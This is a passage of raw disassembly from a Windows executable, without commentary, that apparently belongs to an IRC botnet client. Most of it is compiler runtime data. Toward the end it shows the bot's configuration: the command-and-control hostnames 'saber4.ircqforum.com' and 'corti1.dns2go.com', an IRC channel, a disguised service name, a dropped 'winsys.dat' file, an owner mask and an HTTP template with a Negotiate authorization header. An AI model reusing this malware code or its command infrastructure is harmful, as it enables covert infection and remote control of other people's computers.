[ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426C13 endp ; =============== S U B R O U T I N E ======================================= sub_426DD8 proc near ; DATA XREF: ___:00427F74o ; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D4A9 sub_426DD8 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426DF6 mov ecx, [ebp+8] jmp loc_40D4A9 ; --------------------------------------------------------------------------- locret_426DF6: ; CODE XREF: ___:00426DE8j retn ; --------------------------------------------------------------------------- loc_426DF7: ; DATA XREF: sub_40D07Do mov eax, offset dword_427F48 jmp loc_41C91F ; --------------------------------------------------------------------------- align 4 lea ecx, [ebp+14h] jmp loc_40D4A9 ; --------------------------------------------------------------------------- loc_426E0C: ; DATA XREF: ___:00427FA4o lea ecx, [ebp-1Ch] jmp loc_40D4A9 ; --------------------------------------------------------------------------- loc_426E14: ; DATA XREF: sub_40D21Fo mov eax, offset dword_427F78 jmp loc_41C91F ; --------------------------------------------------------------------------- align 10h loc_426E20: ; DATA XREF: sub_40D78Co mov eax, offset dword_427FA8 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E32: ; DATA XREF: sub_4264FEo mov eax, offset dword_428008 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A9 ; --------------------------------------------------------------------------- loc_426E44: ; DATA XREF: sub_426573o mov eax, offset dword_4280A0 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E56: ; DATA XREF: sub_4265D0o mov eax, offset dword_4280C4 jmp loc_41C91F ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_4268B6 ; --------------------------------------------------------------------------- loc_426E68: ; DATA XREF: sub_426618o mov eax, offset dword_4280E8 jmp loc_41C91F ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D4A9 ; --------------------------------------------------------------------------- loc_426E7A: ; DATA XREF: sub_42669Ao mov eax, offset dword_428148 jmp loc_41C91F ; --------------------------------------------------------------------------- dd 5Fh dup(0) dd 25C0000h, 25D0000h, 25E0000h, 25E06EEh, 25F0000h, 25F0C0Ah dd 2600000h, 2600531h, 2600591h, 2610000h, 261075Eh, 2610D9Bh dd 2620000h, 262080Eh, 26209DFh dword_42703C dd 26209FEh ; DATA XREF: ___:004231D9r dd 2620A4Fh, 2620C4Fh, 2620CA8h, 2630000h, 2640000h, 2650000h dd 2660000h, 2660353h, 26608FCh, 77E75CB5h dword_427068 dd 2660919h ; DATA XREF: sub_40111D+B8r ; ___:004014FCr ... dd 2660C3Bh, 2670000h, 2670A78h dword_427078 dd 2680000h ; DATA XREF: sub_40111D+29r ; sub_401ACD+318Cr ... dword_42707C dd 2680098h ; DATA XREF: ___:004015E2r ; sub_410CD6+32r dd 26802D9h dword_427084 dd 26803B1h ; DATA XREF: sub_4196BD+B9r dd 2680A54h dword_42708C dd 2680ABEh ; DATA XREF: sub_410FF9:loc_41108Ar dword_427090 dd 2680B22h ; DATA XREF: ___:loc_4013DCr dd 2680E1Fh, 2690000h dword_42709C dd 2690126h ; DATA XREF: sub_409B13+2r dd 2690295h, 2690329h dword_4270A8 dd 2690AA5h ; DATA XREF: ___:0040124Dr ; sub_41A4D2+8Cr dword_4270AC dd 2690B5Dh ; DATA XREF: sub_410CD6:loc_410DC2r dd 26A0000h, 26A0A6Ch dword_4270B8 dd 26A0B0Dh ; DATA XREF: sub_409B13:loc_40A021r dword_4270BC dd 26B0000h ; DATA XREF: sub_409B13+11r ; sub_416F1B+60r ... dd 26C0000h, 26D0000h, 26D066Bh, 26E0000h, 77F7E300h, 77F7E21Fh dd 26E0513h, 26E069Dh, 26F0000h, 26F08ADh dword_4270E8 dd 2700000h ; DATA XREF: sub_410FF9+Br dword_4270EC dd 27009D7h ; DATA XREF: sub_418294+36r dd 2700D13h, 2710000h dword_4270F8 dd 271066Fh ; DATA XREF: sub_410F20+3Ar ; sub_419C65+79r dword_4270FC dd 2720000h ; DATA XREF: sub_410E27+23r ; sub_419C65+3Br dd 2721327h, 2730000h, 27309A1h, 2740000h, 274085Fh, 2750000h dd 27503ADh, 2760000h, 2770000h, 277034Eh, 2770449h, 2770584h dd 2780000h, 2780378h, 278079Dh dword_42713C dd 278097Dh ; DATA XREF: sub_416F1B+BCr dd 2790000h dword_427144 dd 27A0000h ; DATA XREF: sub_4170ED+21r ; sub_417276+4Ar dword_427148 dd 27A0BE2h ; DATA XREF: sub_4170ED+10r ; sub_417276+40r ... dd 27A0C56h dword_427150 dd 27B0000h ; DATA XREF: sub_417276+56r dd 27B02D9h, 27C0000h, 27D0000h, 27D06C5h, 27E0000h, 27E0371h dd 27E052Fh, 27F0000h, 27F0757h, 2800000h dword_42717C dd 280105Fh ; DATA XREF: sub_418B59+13r ; ___:0042324Er ... dword_427180 dd 2810000h ; DATA XREF: sub_418C2B+Fr ; sub_41D834+54r ... dd 2820000h, 2820451h, 282086Bh, 2820C73h, 2830000h, 2840000h dd 2850000h, 2860000h, 2870000h, 2880000h, 2881ADAh, 2881B04h dd 2890000h, 2890D27h, 28A0000h dword_4271C0 dd 28A051Fh ; DATA XREF: sub_41DEA2+240r dword_4271C4 dd 28A065Ah ; DATA XREF: sub_41E976:loc_41E9A7r dd 28A083Eh, 28B0000h, 28B06A9h, 0 ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_412661+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB5A01h, 71AB12F8h dd 71AB1746h, 71AB3E5Dh dword_427218 dd 71AB5690h ; DATA XREF: sub_40DFE3+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dword_427638 dd 2Eh ; DATA XREF: sub_401ACD+347Do ; sub_401ACD+356Do ... dword_42763C dd 2Eh ; DATA XREF: sub_401ACD+389Do ; sub_401ACD+38D3o ... aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 10h dbl_427680 dq 1.388888888888889e-2 ; DATA XREF: sub_40D031+2Fr dbl_427688 dq 1.666666666666667e-1 ; DATA XREF: sub_40D031+15r dword_427690 dd 0FFFFFFFFh ; DATA XREF: sub_40D07D+16Fr ; sub_40D4B1r ... align 8 dbl_427698 dq 1.333333333333333 ; DATA XREF: sub_40D07D+79r dword_4276A0 dd 0 ; DATA XREF: sub_40D21F+4Do ; sub_40D561+5Bo ... flt_4276A4 dd 5.0e-1 ; DATA XREF: ___:0040DD34r dbl_4276A8 dq 9.765625e-4 ; DATA XREF: ___:004166B7r ; ___:004166D2r ... dbl_4276B0 dq -1.52587890625e-4 ; DATA XREF: sub_417ADE+3E5r dbl_4276B8 dq 3.0517578125e-4 ; DATA XREF: sub_417ADE+3C5r dbl_4276C0 dq -3.0517578125e-4 ; DATA XREF: sub_417ADE+342r ; sub_417ADE+3A7r dbl_4276C8 dq 1.52587890625e-4 ; DATA XREF: sub_417ADE+271r dbl_4276D0 dq -1.739501953125e-3 ; DATA XREF: sub_417ADE+24Br ; sub_417ADE+2D5r ... dbl_4276D8 dq 3.11279296875e-3 ; DATA XREF: sub_417ADE+E1r dbl_4276E0 dq 3.0517578125e-5 ; DATA XREF: sub_417ADE+AEr ; sub_417ADE+138r ... dbl_4276E8 dq 6.103515625e-5 ; DATA XREF: sub_417ADE+93r ; sub_417ADE+308r dbl_4276F0 dq 2.288818359375e-3 ; DATA XREF: sub_417ADE+21r dbl_4276F8 dq -3.0517578125e-5 ; DATA XREF: sub_418685+2Br flt_427700 dd 9.765625e-4 ; DATA XREF: sub_41A4D2+1B0r flt_427704 dd 8.0 ; DATA XREF: sub_41A4D2+1AAr flt_427708 dd 0.0 ; DATA XREF: sub_41A4D2+171r flt_42770C dd 1.0e-3 ; DATA XREF: sub_41A4D2+168r dbl_427710 dq 1.0 ; DATA XREF: sub_41C679+6Cr ; sub_41C7BF+6Cr ... dd 0FFFFFFFFh, 41DA0Ah, 41DA1Eh a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041DD18o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041DCD9o align 4 byte_427754 db 6 ; DATA XREF: sub_41F69F:loc_41F6F6r db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43CBF4o unicode 0, <(null)>,0 align 10h aNull_0 db '(null)',0 ; DATA XREF: ___:off_43CBF0o align 4 a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 10h aAtan2 db 'atan2',0 align 4 aAtan db 'atan',0 align 10h aAcos db 'acos',0 align 4 aAsin db 'asin',0 align 10h aTanh db 'tanh',0 align 4 aCosh db 'cosh',0 align 10h aSinh db 'sinh',0 align 4 aLog10 db 'log10',0 align 10h aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43CE6Co dbl_427878 dq 0.0 ; DATA XREF: sub_42135F+8Cr ; sub_42135F+ACr ... dbl_427880 dq 4.195835e6 ; DATA XREF: sub_421874+Fr dbl_427888 dq 3.145727e6 ; DATA XREF: sub_421874+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_4218B2+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_4218B2o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_4219D9+93o align 10h dword_4278C0 dd 0FFFFFFFFh, 4220C4h, 4220CEh, 0 ; DATA XREF: sub_42205D+5o dword_4278D0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42218C+5o dd offset loc_42224A align 10h dd offset sub_422228 dd offset sub_422232 dword_4278E8 dd 0FFFFFFFFh, 42247Ah, 42247Eh, 0 ; DATA XREF: sub_4222C2+5o dword_4278F8 dd 0FFFFFFFFh, 4224DCh, 4224E5h, 0 ; DATA XREF: sub_422486+5o dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42255C+5o dd offset loc_4225AD align 8 dd offset loc_422599 dd offset loc_42259D dword_427920 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4225B2+5o dd offset loc_422603 align 10h dd offset loc_4225EF dd offset loc_4225F3 dword_427938 dd 2 dup(0) ; DATA XREF: sub_422ACA+36o ; sub_423CEC+39o ... dword_427940 dd 0FFFFFFFFh, 422BDAh, 422BDEh, 0FFFFFFFFh, 422C8Eh, 422C92h ; DATA XREF: sub_422ACA+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D03Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4235C9+119o align 4 asc_427C08 db 0Ah ; DATA XREF: sub_4235C9+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4235C9+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_4235C9+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4235C9+7Do align 8 dword_427C48 dd 0FFFFFFFFh, 423DE5h, 423DE9h ; DATA XREF: sub_423CEC+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_4247EC+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_424D78+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_424D78+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4256C2:loc_4257B7o align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4256C2+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4256C2+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4256C2+ADo align 4 dword_427CE8 dd 0FFFFFFFFh, 4260BAh, 4260BEh, 0FFFFFFFFh, 426129h, 42612Dh ; DATA XREF: sub_425F03+5o dd 427E24h off_427D04 dd offset loc_4264E2 ; DATA XREF: sub_4264BA+8o ; sub_4264FE+2Co ... dd offset sub_4264D5 dd offset sub_4266F6 dd offset dword_427E70 off_427D14 dd offset sub_42654C ; DATA XREF: sub_4264FE+3Ao ; sub_426568o ... dd offset sub_4264D5 dd offset loc_426732 dword_427D20 dd 0 ; DATA XREF: sub_4264FE+16o ; sub_4265D0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_426573+11o dd offset dword_427EBC off_427D40 dd offset sub_42665B ; DATA XREF: sub_426677o ; sub_42669A+37o ... dd offset sub_4264D5 dd offset loc_426714 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42669A+11o dd offset dword_427F00 off_427D60 dd offset loc_4267F7 ; DATA XREF: sub_4267E2o ; ___:off_43D764o ... dd offset dword_427F30 off_427D68 dd offset loc_426813 ; DATA XREF: sub_42682F+8o ; sub_42686C+8o ... dd offset sub_4268CC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o align 8 dword_427D88 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_4268D9+Eo dd 3, 19930520h, 2 dup(0) dword_427DA8 dd 0FFFFFFFFh, 426A8Ah, 426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh ; DATA XREF: sub_426988+5o dword_427DC0 dd 0FFFFFFFFh, 426CFFh, 426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h ; DATA XREF: sub_426C13+5o dd 43D764h, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_427DF0 dd offset off_43D77C ; DATA XREF: ___:00427E08o ; ___:00427E54o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427DF0 dd offset dword_427DC0+18h dword_427E10 dd 3 dup(0) ; DATA XREF: ___:00427E34o dd 2, 427E08h, 3 dup(0) dd offset off_43D77C dd offset dword_427E10+4 off_427E38 dd offset off_43D79C ; DATA XREF: ___:00427E50o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E38 dd offset off_427DF0 dd offset dword_427DC0+18h dword_427E5C dd 3 dup(0) ; DATA XREF: ___:00427E80o dd 3, 427E50h dword_427E70 dd 3 dup(0) ; DATA XREF: ___:00427D10o dd offset off_43D79C dd offset dword_427E5C+4 off_427E84 dd offset off_43D7BC ; DATA XREF: ___:00427E9Co dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_427E84 dd offset off_427DF0 dd offset dword_427DC0+18h dword_427EA8 dd 3 dup(0) ; DATA XREF: ___:00427ECCo dd 3, 427E9Ch dword_427EBC dd 3 dup(0) ; DATA XREF: ___:00427D3Co dd offset off_43D7BC dd offset dword_427EA8+4 off_427ED0 dd offset off_43D7E0 ; DATA XREF: ___:00427EE8o dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset off_427ED0 dword_427EEC dd 3 dup(0) ; DATA XREF: ___:00427F10o dd 1, 427EE8h dword_427F00 dd 3 dup(0) ; DATA XREF: ___:00427D5Co dd offset off_43D7E0 dd offset dword_427EEC+4 dd offset dword_427DC0+18h dword_427F18 dd 4 dup(0) ; DATA XREF: ___:00427F40o dd 1, 427F14h dword_427F30 dd 3 dup(0) ; DATA XREF: ___:00427D64o dd offset off_43D764 dd offset dword_427F18+8 align 8 dword_427F48 dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF: ___:loc_426DF7o dd 0FFFFFFFFh, 426DE0h, 0 dd offset sub_426DD8 dword_427F78 dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF: ___:loc_426E14o dd 0FFFFFFFFh, 426E04h, 0 dd offset loc_426E0C dword_427FA8 dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3 dup(0) ; DATA XREF: ___:loc_426E20o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 427FF0h, 4 dup(0) ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 0D7h, 40h, 0 dd 0FFFFFFFFh, 426E2Ah dword_428008 dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF: ___:loc_426E32o dd offset off_43D764 align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 42686Ch, 0 dd offset off_43D77C dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 426618h, 0 dd offset off_43D79C align 8 dd 0FFFFFFFFh, 0 dword_428070 dd 1Ch, 426682h, 3, 42805Ch, 428040h, 428024h ; DATA XREF: ___:00428094o dword_428088 dd 0 ; DATA XREF: sub_426573+2Eo ; sub_4266F6+4Bo dd offset sub_426568 dd 0 dd offset dword_428070+8 dd 0FFFFFFFFh, 426E3Ch dword_4280A0 dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF: ___:loc_426E44o dd 0FFFFFFFFh, 426E4Eh dword_4280C4 dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF: ___:loc_426E56o dd 0FFFFFFFFh, 426E60h dword_4280E8 dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF: ___:loc_426E68o dd offset off_43D7BC align 10h dd 0FFFFFFFFh, 0 dword_428118 dd 1Ch, 4266DEh, 3, 428104h, 428040h, 428024h ; DATA XREF: ___:0042813Co dword_428130 dd 0 ; DATA XREF: sub_42669A+2Eo ; sub_4266F6+2Do dd offset sub_426677 dd 0 dd offset dword_428118+8 dd 0FFFFFFFFh, 426E72h dword_428148 dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF: ___:loc_426E7Ao dword_428164 dd 2, 428040h, 428024h ; DATA XREF: ___:0042817Co dword_428170 dd 0 ; DATA XREF: sub_4266F6+Fo dd offset sub_4264BA dd 0 dd offset dword_428164 dd 5 dup(1B08B482h), 5 dup(39E99AE5h), 5 dup(4A6DC14h) dd 7Ah dup(0) dd 4A6DC14h, 0 dd 1B08B482h, 15h dup(0) dd 39E99AE5h, 2FEh dup(0) dword_429000 dd 0 ; DATA XREF: ___:0041B7A3o dd offset loc_401205 dd offset sub_40D879 dd offset sub_40D89B dd offset dword_40E504+1D0h dword_429014 dd 0 ; DATA XREF: ___:0041B79Eo dword_429018 dd 0 ; DATA XREF: ___:0041B794o dd offset sub_41D052 dd offset sub_42026D dd offset sub_423936 dd offset word_424752 dword_42902C dd 0 ; DATA XREF: ___:loc_41B78Fo dword_429030 dd 0 ; DATA XREF: sub_41B7D3+65o dd offset sub_4239DB dword_429038 dd 0 ; DATA XREF: sub_41B7D3:loc_41B833o dword_42903C dd 0 ; DATA XREF: sub_41B7D3+76o dd offset byte_424763 dword_429044 dd 3 dup(0) ; DATA XREF: sub_41B7D3:loc_41B844o dword_429050 dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h ; DATA XREF: sub_401000+7o dword_429068 dd 6272h ; DATA XREF: sub_401000+63o ; sub_4010AB+Bo ... dword_42906C dd 1B58h ; DATA XREF: ___:004016C5r ; ___:0040175Ar dword_429070 dd 0C8Bh ; DATA XREF: ___:004017A6r dword_429074 dd 7E4h ; DATA XREF: sub_401ACD:loc_40461Cr dword_429078 dd 45h ; DATA XREF: sub_401ACD+2089r ; sub_40BACE+3Br dword_42907C dd 7D1h ; DATA XREF: sub_401ACD:loc_403C44r ; sub_40BACE:loc_40BEBFr dword_429080 dd 201h ; DATA XREF: sub_401ACD:loc_403DD0r word_429084 dw 7C7h ; DATA XREF: sub_401ACD:loc_40473Fr align 4 dword_429088 dd 1 ; DATA XREF: sub_401ACD+65Fr dword_42908C dd 1 ; DATA XREF: ___:0040135Er dword_429090 dd 1 ; DATA XREF: ___:loc_401562r ; sub_41835A+Cr byte_429094 db 2Eh ; DATA XREF: sub_401ACD+A92r ; sub_401ACD+B4Cr ... align 4 dword_429098 dd 0Ah ; DATA XREF: sub_40ACB6+3Ar ; sub_40ACB6+60r ... dword_42909C dd 4 ; DATA XREF: sub_4017ED+78r ; sub_401ACD+279r ... dword_4290A0 dd 1 ; DATA XREF: sub_4017ED+72r ; sub_401ACD+273r aQsfpo db 'qsfpo',0 ; DATA XREF: ___:0040127Eo ; sub_401ACD:loc_4044A1o ... align 4 aAbosel7Vs db 'abosel7 vs',0 ; DATA XREF: sub_401ACD:loc_404946o align 4 aCool db 'cool',0 ; DATA XREF: sub_401ACD+7DDCo ; sub_401ACD+7EABo align 10h aSaber4_ircqfor db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o ; ___:0040174Bo align 4 aFaak db '#FAAK#',0 ; DATA XREF: ___:004016D1o ; ___:00401761o ... align 10h aSaad_ db 'saad.',0 ; DATA XREF: ___:004016E8o ; ___:00401773o align 4 byte_4290E8 db 73h ; DATA XREF: ___:loc_401789r ; ___:00401797o aCorti1_dns2go_ db 'corti1.dns2go.com',0 align 4 aFaak_0 db '#FAAK#',0 ; DATA XREF: ___:004017ADo align 4 aSaad__0 db 'saad.',0 ; DATA XREF: ___:004017BFo align 4 byte_42910C db 75h ; DATA XREF: ___:00401364o ; ___:00401388w ... db 70h, 64h, 65h dd 6E697774h, 78652E64h, 65h dword_42911C dd 6E646977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o aWindsSerscAgts db 'Winds Sersc Agts',0 ; DATA XREF: sub_401000+Eo align 4 unicode 0, <->,0 aWinsys_dat db 'winsys.dat',0 align 4 aXI db '-x+i',0 ; DATA XREF: sub_401ACD+7F27o align 4 aF db '#f',0 ; DATA XREF: sub_401ACD+1D46o ; sub_401ACD+3040o ... align 4 aF_0 db '#f',0 ; DATA XREF: sub_401ACD+44A3o align 4 aF_1 db '#f',0 ; DATA XREF: sub_401ACD+40C5o ; sub_401ACD+4217o align 10h off_429160 dd offset a@admin_com ; DATA XREF: sub_401ACD:loc_4098FCo ; "*@admin.com" off_429164 dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r ; sub_401ACD+7E4Bo ; "mIRC v6.16 Khaled Mardam-Bey" dd 